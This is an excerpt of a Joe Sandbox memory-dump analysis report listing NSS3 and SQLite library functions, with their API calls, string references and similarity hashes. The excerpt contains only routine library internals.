Part of subcall function 6C7D10C0: PR_Unlock.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1182
Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C78078C

Part of subcall function 6C7CFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C7C8D2D,?,00000000,?), ref: 6C7CFB85
Part of subcall function 6C7CFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C7CFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C899AEC,?), ref: 6C7807A4

Part of subcall function 6C7CB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8A18D0,?), ref: 6C7CB095

PR_SetError.NSS3(FFFFE076,00000000), ref: 6C780932

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

PR_GetCurrentThread.NSS3 ref: 6C7807B0

Part of subcall function 6C839BF0: TlsGetValue.KERNEL32(?,?,?,6C880A75), ref: 6C839C07

DER_GetInteger_Util.NSS3(-00000004), ref: 6C7807D4
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C78093D
PR_SetError.NSS3(FFFFE09D,00000000), ref: 6C780972
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C899D5C,?), ref: 6C780998
PR_GetCurrentThread.NSS3 ref: 6C7809A8
PR_SetError.NSS3(FFFFE081,00000000), ref: 6C7809C5
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C780A7A
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C899BEC,?), ref: 6C780AC2
PR_GetCurrentThread.NSS3 ref: 6C780AD2
CERT_ImportCerts.NSS3(?,0000000A,?,?,00000000,00000000,00000000,00000000), ref: 6C780B2B
PR_SetError.NSS3(FFFFE081,00000000), ref: 6C780B44
PORT_NewArena_Util.NSS3(00000800), ref: 6C780BAC
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6C899D08,?), ref: 6C780BCD
PR_GetCurrentThread.NSS3 ref: 6C780BDD
PR_SetError.NSS3(FFFFE081,00000000), ref: 6C780BFD
PR_SetError.NSS3(FFFFE07F,00000000), ref: 6C780C11
PR_SetError.NSS3(FFFFE073,00000000), ref: 6C780C76
PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C780CF3
SECITEM_ArenaDupItem_Util.NSS3(00000000,?), ref: 6C780D1B
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,00000000), ref: 6C780D36
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C780D94
CERT_DestroyCertArray.NSS3(?,00000000), ref: 6C780DC3
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6C780DE8
PR_GetCurrentThread.NSS3 ref: 6C780DFD
PR_SetError.NSS3(FFFFE090,00000000), ref: 6C780E22
SECITEM_CompareItem_Util.NSS3(00000047), ref: 6C780E5A
PR_SetError.NSS3(FFFFE07F,00000000), ref: 6C780E6F
CERT_IsCACert.NSS3(00000000,00000000), ref: 6C780E7F
PR_SetError.NSS3(FFFFE090,00000000), ref: 6C780EBC
PR_GetCurrentThread.NSS3 ref: 6C780F2E
PR_GetCurrentThread.NSS3 ref: 6C780F3C
PR_SetError.NSS3(FFFFE09D,00000000), ref: 6C780F51
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C780F5A
PR_GetCurrentThread.NSS3 ref: 6C780F7F
CERT_DestroyCertificate.NSS3 ref: 6C780F95
DER_GeneralizedTimeToTime_Util.NSS3(?,0000009F), ref: 6C780FE8
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C781060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C78107F
SECOID_FindOID_Util.NSS3(?), ref: 6C78108C
SECITEM_CompareItem_Util.NSS3(?,00000000), ref: 6C7810CB
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C7810F9

Part of subcall function 6C77F3F0: SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C77F453
Part of subcall function 6C77F3F0: SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C77F4A5
Part of subcall function 6C77F3F0: SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C77F4EA

SECITEM_CompareItem_Util.NSS3(?,00000000), ref: 6C7810DD
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C78110E
PR_SetError.NSS3(FFFFE07E,00000000), ref: 6C78112A
CERT_DestroyCertificate.NSS3(00000000), ref: 6C781141
CERT_DestroyCertificate.NSS3(00000000), ref: 6C78114E
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6C7811B7
SECITEM_CompareItem_Util.NSS3(00000047), ref: 6C781202
PR_SetError.NSS3(FFFFE07F,00000000), ref: 6C78121A
SECOID_FindOID_Util.NSS3(?), ref: 6C781226

Part of subcall function 6C7D07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C778298,?,?,?,6C76FCE5,?), ref: 6C7D07BF
Part of subcall function 6C7D07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7D07E6
Part of subcall function 6C7D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7D081B
Part of subcall function 6C7D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7D0825

SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000), ref: 6C781268
PK11_HashBuf.NSS3(?,?,?,?), ref: 6C781285
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C781294
SECITEM_CompareItem_Util.NSS3(00000000,?), ref: 6C7812A7

Part of subcall function 6C7CFCB0: memcmp.VCRUNTIME140(?,8B0B74C0,04C6831E,?,00000000,?,6C774101,00000000,?,?,?,6C771666,?,?), ref: 6C7CFCF2

SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000), ref: 6C7813D1
PK11_HashBuf.NSS3(?,?,?,?), ref: 6C7813F5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C781408
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000), ref: 6C78143F
PK11_HashBuf.NSS3(?,?,?,?), ref: 6C78145A
SECITEM_CompareItem_Util.NSS3(00000000,?), ref: 6C781473
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C781480
SECITEM_AllocItem_Util.NSS3(00000000), ref: 6C7814C1
PK11_HashBuf.NSS3(?,?,?,?,?,00000000,00000000), ref: 6C7814DB
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000,00000000), ref: 6C7814EA
CERT_DestroyCertificate.NSS3(00000000), ref: 6C7814F9

Part of subcall function 6C7795B0: TlsGetValue.KERNEL32(00000000,?,6C7900D2,00000000), ref: 6C7795D2
Part of subcall function 6C7795B0: EnterCriticalSection.KERNEL32(?,?,?,6C7900D2,00000000), ref: 6C7795E7
Part of subcall function 6C7795B0: PR_Unlock.NSS3(?,?,?,?,6C7900D2,00000000), ref: 6C779605

SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C781522
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C78153B
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C78155B
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7812B4

Part of subcall function 6C7CFAB0: free.MOZGLUE(?,-00000001,?,?,6C76F673,00000000,00000000), ref: 6C7CFAC7

CERT_DecodeOidSequence.NSS3(?), ref: 6C7812EB
SECOID_FindOID_Util.NSS3(00000000), ref: 6C781306
PR_SetError.NSS3(FFFFE090,00000000), ref: 6C781331
free.MOZGLUE(?), ref: 6C781346
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C781357
CERT_FindCertIssuer.NSS3(?,?,?,0000000B), ref: 6C78137D
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C781570
PR_Now.NSS3 ref: 6C781588
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6C7815D3
PR_Now.NSS3 ref: 6C781623
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6C78164F
PR_SetError.NSS3(FFFFE00C,00000000), ref: 6C781662
PR_GetCurrentThread.NSS3 ref: 6C781678

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Compare$CurrentThread$ArenaZfree$DecodeDestroyHash$Arena_GeneralizedQuickTimeTime_Value$AllocAlloc_CertificateFindK11_$CertEqual_FreeItems$CriticalEnterLookupSectionTableUnlockfree$AllocateArrayCertsConstCopyImportInitInteger_IssuerLockPoolPublicSequencecallocmemcmpmemcpy
String ID:
API String ID: 782668047-0
Opcode ID: 2a588ac0d072b7735ba7d6258e5cd455e684afa8eeb4a2d758672815cb23bbe1
Instruction ID: 719ae0613bedf94e7ad400f691aa33e83a40fed17c9418beddeec85842212451
Opcode Fuzzy Hash: 2a588ac0d072b7735ba7d6258e5cd455e684afa8eeb4a2d758672815cb23bbe1
Instruction Fuzzy Hash: C9921571A0A3419FE710CF28DE44B5B77E4AF84358F14493CEA9997B61E731E848CB92

Function 6C786E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C8D2120,6C787E60), ref: 6C786EBC
TlsGetValue.KERNEL32 ref: 6C786EDF
EnterCriticalSection.KERNEL32(?), ref: 6C786EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C786F25

Part of subcall function 6C75A900: TlsGetValue.KERNEL32(00000000,?,6C8D14E4,?,6C6F4DD9), ref: 6C75A90F
Part of subcall function 6C75A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C75A94F

PR_Unlock.NSS3 ref: 6C786F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C786FA9
TlsGetValue.KERNEL32 ref: 6C7870B4
EnterCriticalSection.KERNEL32(?), ref: 6C7870C8
PR_CallOnce.NSS3(6C8D24C0,6C7C7590), ref: 6C787104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C787117
SECOID_Init.NSS3 ref: 6C787128
PORT_Alloc_Util.NSS3(00000057), ref: 6C78714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C78717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7871A9
PR_NotifyAllCondVar.NSS3 ref: 6C7871CF
PR_Unlock.NSS3 ref: 6C7871DD
free.MOZGLUE(?), ref: 6C7871EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C787208
free.MOZGLUE(00000000), ref: 6C787221
free.MOZGLUE(00000001), ref: 6C787235
TlsGetValue.KERNEL32 ref: 6C78724A
EnterCriticalSection.KERNEL32(?), ref: 6C78725E
PR_NotifyCondVar.NSS3 ref: 6C787273
PR_Unlock.NSS3 ref: 6C787281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C787291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7872B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7872D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7872E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C787301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C787310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C787335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C787344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C787363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C787372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C8C0148,,defaultModDB,internalKeySlot), ref: 6C7874CC
free.MOZGLUE(00000000), ref: 6C787513
free.MOZGLUE(00000000), ref: 6C78751B
free.MOZGLUE(00000000), ref: 6C787528
free.MOZGLUE(00000000), ref: 6C78753C
free.MOZGLUE(00000000), ref: 6C787550
free.MOZGLUE(00000000), ref: 6C787561
free.MOZGLUE(00000000), ref: 6C787572
free.MOZGLUE(00000000), ref: 6C787583
free.MOZGLUE(00000000), ref: 6C787594
free.MOZGLUE(00000000), ref: 6C7875A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C7875BD
free.MOZGLUE(00000000), ref: 6C7875C8
free.MOZGLUE(00000000), ref: 6C7875F1
PR_NewLock.NSS3 ref: 6C787636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C787686
PR_NewLock.NSS3 ref: 6C7876A2

Part of subcall function 6C8398D0: calloc.MOZGLUE(00000001,00000084,6C760936,00000001,?,6C76102C), ref: 6C8398E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C7876B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C787707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C78771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C787731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C78774A
DeleteCriticalSection.KERNEL32(?), ref: 6C787770
free.MOZGLUE(?), ref: 6C787779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C78779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7877AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C7877C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C7877DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C787821
PORT_Alloc_Util.NSS3(?), ref: 6C787837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C78785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C78786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C7878AC
free.MOZGLUE(00000000), ref: 6C7878BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C7878F3
free.MOZGLUE(00000000), ref: 6C7878FC
free.MOZGLUE(00000000), ref: 6C78791C

Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607AD
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607CD
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607D6
Part of subcall function 6C7607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6F204A), ref: 6C7607E4
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,6C6F204A), ref: 6C760864
Part of subcall function 6C7607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C760880
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,6C6F204A), ref: 6C7608CB
Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(?,?,6C6F204A), ref: 6C7608D7
Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(?,?,6C6F204A), ref: 6C7608FB

Strings

sql:, xrefs: 6C7876FE
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C7874C7
dll, xrefs: 6C78788E
NSS Internal Module, xrefs: 6C7874A2, 6C7874C6
extern:, xrefs: 6C78772B
kbi., xrefs: 6C787886
,defaultModDB,internalKeySlot, xrefs: 6C78748D, 6C7874AA
Spac, xrefs: 6C787389
rdb:, xrefs: 6C787744
dbm:, xrefs: 6C787716

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 59ceca15c006276a158a829ad79c7e4c5c4fc9edc457764d1f10a4d53debfb7e
Instruction ID: 3ccd983a67b0681726c4798d83db760b87975cbd48aaea6c23cfc07634b254a3
Opcode Fuzzy Hash: 59ceca15c006276a158a829ad79c7e4c5c4fc9edc457764d1f10a4d53debfb7e
Instruction Fuzzy Hash: 2852D4B1F022059BEF219F64DE097AA7BB4AF0630CF144434FE1AA6A51E731E954CBD1

Function 6C796D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C89A8EC,0000006C), ref: 6C796DC6
memcpy.VCRUNTIME140(?,6C89A958,0000006C), ref: 6C796DDB
memcpy.VCRUNTIME140(?,6C89A9C4,00000078), ref: 6C796DF1
memcpy.VCRUNTIME140(?,6C89AA3C,0000006C), ref: 6C796E06
memcpy.VCRUNTIME140(?,6C89AAA8,00000060), ref: 6C796E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C796E38

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C796E76
TlsGetValue.KERNEL32 ref: 6C79726F
EnterCriticalSection.KERNEL32(?), ref: 6C797283

Strings

!, xrefs: 6C797123

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: ca3aa0358fa286691e40e11472568cb6709aa424e7f825af19ddd9c7f45c07c2
Instruction ID: 308542ffa5ec354283845bb2f09da9896fcdcabb97360432bc6dd666d18b238c
Opcode Fuzzy Hash: ca3aa0358fa286691e40e11472568cb6709aa424e7f825af19ddd9c7f45c07c2
Instruction Fuzzy Hash: 5F729E75D052199FDF60DF28DD88B9ABBB5BF49308F1041A9D80DA7701EB31AA84CF91

Function 6C75E6E0 Relevance: 44.2, APIs: 17, Strings: 8, Instructions: 452stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,6C75DA6A,?,00000000,?,?), ref: 6C75E6FF
sqlite3_initialize.NSS3(?,?,00000000,?,6C75DA6A,?,00000000,?,?), ref: 6C75E76B
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(6C75DA6F,///,00000003,?,?,00000000), ref: 6C75E7AC
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(6C75DA71,///,00000003), ref: 6C75E7C8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C75E8E8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C75E908
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C75E921
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C75E978
memcmp.VCRUNTIME140(?,?,6C75DA6A), ref: 6C75E991
sqlite3_initialize.NSS3(?,?,00000000,?,6C75DA6A,?,00000000,?,?), ref: 6C75E9FA
memcpy.VCRUNTIME140(?,6C75DA6A,00000000,?,?,00000000), ref: 6C75EA3A
sqlite3_initialize.NSS3(?,?,00000000), ref: 6C75EA55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C75EABA
sqlite3_mprintf.NSS3(no such %s mode: %s,6C8AE039,?), ref: 6C75EB9F
sqlite3_free.NSS3(000000FC,?,?,?,?,00000000), ref: 6C75EBDB
sqlite3_mprintf.NSS3(no such vfs: %s,?,?,?,00000000), ref: 6C75EC1A
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,//localhost/,0000000C), ref: 6C75EC2E

Strings

no such %s mode: %s, xrefs: 6C75EB9A
mode, xrefs: 6C75EC58
file, xrefs: 6C75E738
no such vfs: %s, xrefs: 6C75EC15
%s mode not allowed: %s, xrefs: 6C75ECB7
//localhost/, xrefs: 6C75EC26
///, xrefs: 6C75E7A3, 6C75E7C2
cach, xrefs: 6C75E93A

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: strlen$sqlite3_initializestrncmp$sqlite3_mprintf$memcmpmemcpysqlite3_freestrcmp
String ID: %s mode not allowed: %s$///$//localhost/$cach$file$mode$no such %s mode: %s$no such vfs: %s
API String ID: 3798319595-1352301890
Opcode ID: 70d1d114b03f68435bd51fd002aee0260ebcccc8e7700500089ed64d7ebb385c
Instruction ID: 3ca9cf95d3a2c59220207d1e68aa33e13ead58e12fa4d92fc99eb52faa270f0d
Opcode Fuzzy Hash: 70d1d114b03f68435bd51fd002aee0260ebcccc8e7700500089ed64d7ebb385c
Instruction Fuzzy Hash: 23F136B1E0521D8FEF10CF65CA417AEBBB1BF05308F980539D86267A81DB39A915C7D1

Function 6C718460 Relevance: 43.1, APIs: 23, Strings: 1, Instructions: 1095COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,00000030), ref: 6C7184FF
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(377F0682), ref: 6C7188BB
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(002DE218), ref: 6C7188CE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7188E2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(FFFFFFFF), ref: 6C7188F6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C71894F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C71895F
sqlite3_randomness.NSS3(00000008,?), ref: 6C718914

Part of subcall function 6C7031C0: sqlite3_initialize.NSS3 ref: 6C7031D6

sqlite3_randomness.NSS3(00000004,?), ref: 6C718A13
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C718A65
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C718A6F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C718B87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C718B94
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(002E5B33), ref: 6C718BAD

Strings

cannot limit WAL size: %s, xrefs: 6C719188

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_randomness$memcmpsqlite3_initialize
String ID: cannot limit WAL size: %s
API String ID: 2554290823-3503406041
Opcode ID: cb6eece3a62312dc592bafc52c72683b24232702fc6b592182c15369d00e7318
Instruction ID: 89f8d58d9b81f0dcdcd13cf548d263e75119c3a8e45f4ebb4a8ac2bbd9628b94
Opcode Fuzzy Hash: cb6eece3a62312dc592bafc52c72683b24232702fc6b592182c15369d00e7318
Instruction Fuzzy Hash: 38928F75A083019FD704CF29C980A5AB7F1FFC9318F198A2DE99987B52D731E945CB82

Function 6C7DAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C7DACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C7DACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C7DACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C7DAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C7DADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7DADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7DADF0

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7DB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7DB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7DB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7DB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C7DB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7DB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7DB40C

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
